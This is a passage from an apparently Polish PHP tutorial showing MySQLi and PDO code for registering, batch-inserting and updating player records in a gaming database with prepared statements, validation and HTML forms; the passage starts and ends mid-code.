            // Sprawdzamy ile wierszy zostało dodanych
            $affected_rows = $stmt-&gt;affected_rows;
            
            $success = true;
            $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
            
            // Możemy od razu zalogować użytkownika
            // session_start();
            // $_SESSION&#91;'user_id'] = $new_player_id;
            // $_SESSION&#91;'username'] = $username;
            
        } else {
            $errors&#91;] = "Wystąpił błąd podczas rejestracji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
            &lt;br&gt;&lt;br&gt;
            &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; | 
            &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Powtórz hasło:&lt;/label&gt;
            &lt;input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
        
        &lt;div class="info"&gt;
            &lt;strong&gt;Wymagania:&lt;/strong&gt;&lt;br&gt;
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)&lt;br&gt;
            • Hasło: minimum 8 znaków&lt;br&gt;
            • Poprawny format email
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    $errors = &#91;];
    $success = false;
    
    // PROFESJONALNE - sprawdzamy metodę HTTP
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy i czyszczenie dane z formularza
        $username = trim($_POST&#91;'username'] ?? '');
        $email = trim($_POST&#91;'email'] ?? '');
        $password = $_POST&#91;'password'] ?? '';
        $password_confirm = $_POST&#91;'password_confirm'] ?? '';
        
        // Walidacja danych
        if (empty($username)) {
            $errors&#91;] = "Nick jest wymagany";
        } elseif (strlen($username) &lt; 3) {
            $errors&#91;] = "Nick musi mieć minimum 3 znaki";
        } elseif (strlen($username) &gt; 50) {
            $errors&#91;] = "Nick może mieć maksymalnie 50 znaków";
        } elseif (!preg_match('/^&#91;a-zA-Z0-9_]+$/', $username)) {
            $errors&#91;] = "Nick może zawierać tylko litery, cyfry i podkreślnik";
        }
        
        if (empty($email)) {
            $errors&#91;] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors&#91;] = "Nieprawidłowy format email";
        }
        
        if (empty($password)) {
            $errors&#91;] = "Hasło jest wymagane";
        } elseif (strlen($password) &lt; 8) {
            $errors&#91;] = "Hasło musi mieć minimum 8 znaków";
        }
        
        if ($password !== $password_confirm) {
            $errors&#91;] = "Hasła nie są identyczne";
        }
        
        // Jeśli brak błędów walidacji - sprawdzamy czy nick/email już istnieją
        if (empty($errors)) {
            // BEZPIECZNE - sprawdzamy czy username już istnieje
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE username = :username");
            $stmt-&gt;execute(&#91;'username' =&gt; $username]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Nick '{$username}' jest już zajęty";
            }
            
            // BEZPIECZNE - sprawdzamy czy email już istnieje
            $stmt = $pdo-&gt;prepare("SELECT id FROM players WHERE email = :email");
            $stmt-&gt;execute(&#91;'email' =&gt; $email]);
            
            if ($stmt-&gt;fetch()) {
                $errors&#91;] = "Email '{$email}' jest już zarejestrowany";
            }
        }
        
        // Jeśli wszystko OK - dodajemy gracza do bazy
        if (empty($errors)) {
            // Hashowanie hasła (NIGDY nie zapisuj hasła w plain text!)
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            // BEZPIECZNE - INSERT z prepared statement
            $stmt = $pdo-&gt;prepare("INSERT INTO players (username, email, password, created_at) VALUES (:username, :email, :password, NOW())");
            
            if ($stmt-&gt;execute(&#91;
                'username' =&gt; $username,
                'email' =&gt; $email,
                'password' =&gt; $password_hash
            ])) {
                // Pobieramy ID dodanego gracza
                $new_player_id = $pdo-&gt;lastInsertId();
                
                // Sprawdzamy ile wierszy zostało dodanych
                $affected_rows = $stmt-&gt;rowCount();
                
                $success = true;
                $success_message = "Gracz '{$username}' został zarejestrowany! ID: {$new_player_id}";
                
                // Możemy od razu zalogować użytkownika
                // session_start();
                // $_SESSION&#91;'user_id'] = $new_player_id;
                // $_SESSION&#91;'username'] = $username;
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    $errors&#91;] = "Wystąpił błąd podczas rejestracji. Spróbuj ponownie.";
}

$pdo = null;
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja gracza&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            width: 100%;
            max-width: 500px;
        }
        h1 {
            margin-bottom: 30px;
            color: #333;
            text-align: center;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
            transition: border-color 0.3s;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 10px;
            border-radius: 5px;
            margin-top: 15px;
            font-size: 12px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja Gracza&lt;/h1&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
            &lt;br&gt;&lt;br&gt;
            &lt;a href="profil.php?id=&lt;?= $new_player_id ?&gt;"&gt;Zobacz profil&lt;/a&gt; | 
            &lt;a href="lista_graczy.php"&gt;Lista graczy&lt;/a&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Nick gracza:&lt;/label&gt;
            &lt;input type="text" name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;" 
                   placeholder="np. ProGamer123" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;" 
                   placeholder="twoj@email.com" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" name="password" 
                   placeholder="Min. 8 znaków" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Powtórz hasło:&lt;/label&gt;
            &lt;input type="password" name="password_confirm" 
                   placeholder="Powtórz hasło" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
        
        &lt;div class="info"&gt;
            &lt;strong&gt;Wymagania:&lt;/strong&gt;&lt;br&gt;
            • Nick: 3-50 znaków (litery, cyfry, podkreślnik)&lt;br&gt;
            • Hasło: minimum 8 znaków&lt;br&gt;
            • Poprawny format email
        &lt;/div&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading">Sprawdzanie wyniku operacji INSERT</h4>



<h5 class="wp-block-heading">Metody sprawdzania dla MySQLi:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $stmt-&gt;insert_id;  // Obiektowo
$new_id = mysqli_insert_id($db);  // Proceduralnie

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt-&gt;affected_rows;  // Obiektowo
$affected_rows = mysqli_affected_rows($db);  // Proceduralnie

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    echo "Sukces!";
} else {
    echo "Błąd: {$stmt-&gt;error}";
}</code></pre>



<h5 class="wp-block-heading">Metody sprawdzania dla PDO:</h5>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// 1. Pobierz ID ostatnio dodanego rekordu
$new_id = $pdo-&gt;lastInsertId();

// 2. Sprawdź ile wierszy zostało dodanych
$affected_rows = $stmt-&gt;rowCount();

// 3. Sprawdź czy zapytanie się wykonało
if ($stmt-&gt;execute()) {
    echo "Sukces!";
} else {
    echo "Błąd!";
}

// 4. Obsługa wyjątków (try-catch)
try {
    $stmt-&gt;execute();
    echo "Sukces!";
} catch (PDOException $e) {
    echo "Błąd: {$e-&gt;getMessage()}";
}</code></pre>



<h3 class="wp-block-heading">Przykład 2: Dodawanie wielu graczy naraz (batch INSERT)</h3>



<h4 class="wp-block-heading"><strong>MySQLi&nbsp;obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Tablica graczy do dodania
$gracze = &#91;
    &#91;'username' =&gt; 'TestPlayer1', 'email' =&gt; 'test1@example.com', 'level' =&gt; 5],
    &#91;'username' =&gt; 'TestPlayer2', 'email' =&gt; 'test2@example.com', 'level' =&gt; 10],
    &#91;'username' =&gt; 'TestPlayer3', 'email' =&gt; 'test3@example.com', 'level' =&gt; 15]
];

// BEZPIECZNE - przygotowanie zapytania raz
$stmt = $db-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");

$dodano = 0;
$bledy = &#91;];

foreach ($gracze as $gracz) {
    // Bindowanie parametrów
    $stmt-&gt;bind_param("ssi", $gracz&#91;'username'], $gracz&#91;'email'], $gracz&#91;'level']);
    
    if ($stmt-&gt;execute()) {
        $dodano++;
        
        // Możesz pobrać ID każdego dodanego gracza
        $last_id = $stmt-&gt;insert_id;
        echo "Dodano: {$gracz&#91;'username']} (ID: {$last_id})&lt;br&gt;";
    } else {
        $bledy&#91;] = "Błąd dla {$gracz&#91;'username']}: {$stmt-&gt;error}";
    }
}

echo "&lt;br&gt;&lt;strong&gt;Podsumowanie:&lt;/strong&gt;&lt;br&gt;";
echo "Dodano: {$dodano} graczy&lt;br&gt;";
echo "Błędów: " . count($bledy) . "&lt;br&gt;";

if (!empty($bledy)) {
    echo "&lt;br&gt;&lt;strong&gt;Szczegóły błędów:&lt;/strong&gt;&lt;br&gt;";
    foreach ($bledy as $blad) {
        echo "{$blad}&lt;br&gt;";
    }
}

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Tablica graczy do dodania
    $gracze = &#91;
        &#91;'username' =&gt; 'TestPlayer1', 'email' =&gt; 'test1@example.com', 'level' =&gt; 5],
        &#91;'username' =&gt; 'TestPlayer2', 'email' =&gt; 'test2@example.com', 'level' =&gt; 10],
        &#91;'username' =&gt; 'TestPlayer3', 'email' =&gt; 'test3@example.com', 'level' =&gt; 15]
    ];
    
    // BEZPIECZNE - przygotowanie zapytania raz
    $stmt = $pdo-&gt;prepare("INSERT INTO players (username, email, level, created_at) VALUES (:username, :email, :level, NOW())");
    
    $dodano = 0;
    $bledy = &#91;];
    
    foreach ($gracze as $gracz) {
        try {
            $stmt-&gt;execute($gracz);
            $dodano++;
            
            // Możesz pobrać ID każdego dodanego gracza
            $last_id = $pdo-&gt;lastInsertId();
            echo "Dodano: {$gracz&#91;'username']} (ID: {$last_id})&lt;br&gt;";
            
        } catch (PDOException $e) {
            $bledy&#91;] = "Błąd dla {$gracz&#91;'username']}: {$e-&gt;getMessage()}";
        }
    }
    
    echo "&lt;br&gt;&lt;strong&gt;Podsumowanie:&lt;/strong&gt;&lt;br&gt;";
    echo "Dodano: {$dodano} graczy&lt;br&gt;";
    echo "Błędów: " . count($bledy) . "&lt;br&gt;";
    
    if (!empty($bledy)) {
        echo "&lt;br&gt;&lt;strong&gt;Szczegóły błędów:&lt;/strong&gt;&lt;br&gt;";
        foreach ($bledy as $blad) {
            echo "{$blad}&lt;br&gt;";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">UPDATE&nbsp;&#8211;&nbsp;Aktualizacja&nbsp;istniejących&nbsp;rekordów</h2>



<h3 class="wp-block-heading">Przykład 3: Edycja profilu gracza (formularz POST)</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];
$success = false;
$gracz = null;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET&#91;'id'] ?? 0);

if ($player_id &lt;= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia w formularzu
$stmt = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
$stmt-&gt;bind_param("i", $player_id);
$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$gracz = $wynik-&gt;fetch_assoc();
$stmt-&gt;close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

// PROFESJONALNE - sprawdzamy metodę HTTP
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $email = trim($_POST&#91;'email'] ?? '');
    $level = (int)($_POST&#91;'level'] ?? 1);
    $coins = (int)($_POST&#91;'coins'] ?? 0);
    $rank_name = $_POST&#91;'rank_name'] ?? 'Bronze';
    
    // Walidacja danych
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if ($level &lt; 1 || $level &gt; 100) {
        $errors&#91;] = "Poziom musi być między 1 a 100";
    }
    
    if ($coins &lt; 0) {
        $errors&#91;] = "Coins nie może być ujemny";
    }
    
    $allowed_ranks = &#91;'Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
    if (!in_array($rank_name, $allowed_ranks)) {
        $errors&#91;] = "Nieprawidłowa ranga";
    }
    
    // Sprawdzamy czy email nie jest już używany przez innego gracza
    if (empty($errors)) {
        $stmt = $db-&gt;prepare("SELECT id FROM players WHERE email = ? AND id != ?");
        $stmt-&gt;bind_param("si", $email, $player_id);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Email '{$email}' jest już używany przez innego gracza";
        }
        $stmt-&gt;close();
    }
    
    // Jeśli brak błędów - aktualizujemy dane
    if (empty($errors)) {
        // BEZPIECZNE - UPDATE z prepared statement
        $stmt = $db-&gt;prepare("UPDATE players SET email = ?, level = ?, coins = ?, rank_name = ?, updated_at = NOW() WHERE id = ?");
        $stmt-&gt;bind_param("siisi", $email, $level, $coins, $rank_name, $player_id);
        
        if ($stmt-&gt;execute()) {
            // Sprawdzamy ile wierszy zostało zaktualizowanych
            $affected_rows = $stmt-&gt;affected_rows;
            
            if ($affected_rows &gt; 0) {
                $success = true;
                $success_message = "Profil gracza '{$gracz&#91;'username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                
                // Odświeżamy dane gracza
                $stmt_refresh = $db-&gt;prepare("SELECT * FROM players WHERE id = ?");
                $stmt_refresh-&gt;bind_param("i", $player_id);
                $stmt_refresh-&gt;execute();
                $wynik_refresh = $stmt_refresh-&gt;get_result();
                $gracz = $wynik_refresh-&gt;fetch_assoc();
                $stmt_refresh-&gt;close();
            } else {
                $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
            }
        } else {
            $errors&#91;] = "Wystąpił błąd podczas aktualizacji: {$stmt-&gt;error}";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Edycja profilu - &lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Edycja profilu gracza&lt;/h1&gt;
    &lt;div class="subtitle"&gt;ID: &lt;?= $gracz&#91;'id'] ?&gt; | Nick: &lt;strong&gt;&lt;?= htmlspecialchars($gracz&#91;'username']) ?&gt;&lt;/strong&gt;&lt;/div&gt;
    
    &lt;?php if ($success): ?&gt;
        &lt;div class="success"&gt;
            &lt;?= htmlspecialchars($success_message) ?&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;div class="info-box"&gt;
        &lt;strong&gt;Informacje:&lt;/strong&gt;&lt;br&gt;
        • Nick gracza nie może być edytowany (to unikalna nazwa)&lt;br&gt;
        • Hasło można zmienić w osobnej sekcji zabezpieczeń&lt;br&gt;
        • Data rejestracji: &lt;?= date('d.m.Y H:i', strtotime($gracz&#91;'created_at'])) ?&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" name="email" 
                   value="&lt;?= htmlspecialchars($gracz&#91;'email']) ?&gt;" 
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-row"&gt;
            &lt;div class="form-group"&gt;
                &lt;label&gt;Poziom (1-100):&lt;/label&gt;
                &lt;input type="number" name="level" 
                       min="1" max="100"
                       value="&lt;?= $gracz&#91;'level'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
            
            &lt;div class="form-group"&gt;
                &lt;label&gt;Coins:&lt;/label&gt;
                &lt;input type="number" name="coins" 
                       min="0"
                       value="&lt;?= $gracz&#91;'coins'] ?&gt;" 
                       required&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Ranga:&lt;/label&gt;
            &lt;select name="rank_name" required&gt;
                &lt;option value="Bronze" &lt;?= $gracz&#91;'rank_name'] == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
                &lt;option value="Silver" &lt;?= $gracz&#91;'rank_name'] == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
                &lt;option value="Gold" &lt;?= $gracz&#91;'rank_name'] == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
                &lt;option value="Platinum" &lt;?= $gracz&#91;'rank_name'] == 'Platinum' ? 'selected' : '' ?&gt;&gt;Platinum&lt;/option&gt;
                &lt;option value="Diamond" &lt;?= $gracz&#91;'rank_name'] == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
                &lt;option value="Master" &lt;?= $gracz&#91;'rank_name'] == 'Master' ? 'selected' : '' ?&gt;&gt;Master&lt;/option&gt;
                &lt;option value="Grandmaster" &lt;?= $gracz&#91;'rank_name'] == 'Grandmaster' ? 'selected' : '' ?&gt;&gt;Grandmaster&lt;/option&gt;
            &lt;/select&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zapisz zmiany&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;a href="profil.php?id=&lt;?= $player_id ?&gt;" class="back-link"&gt;← Powrót do profilu&lt;/a&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    $errors = &#91;];
    $success = false;
    $gracz = null;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET&#91;'id'] ?? 0);
    
    if ($player_id &lt;= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia w formularzu
    $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE id = :id");
    $stmt-&gt;execute(&#91;'id' =&gt; $player_id]);
    $gracz = $stmt-&gt;fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $email = trim($_POST&#91;'email'] ?? '');
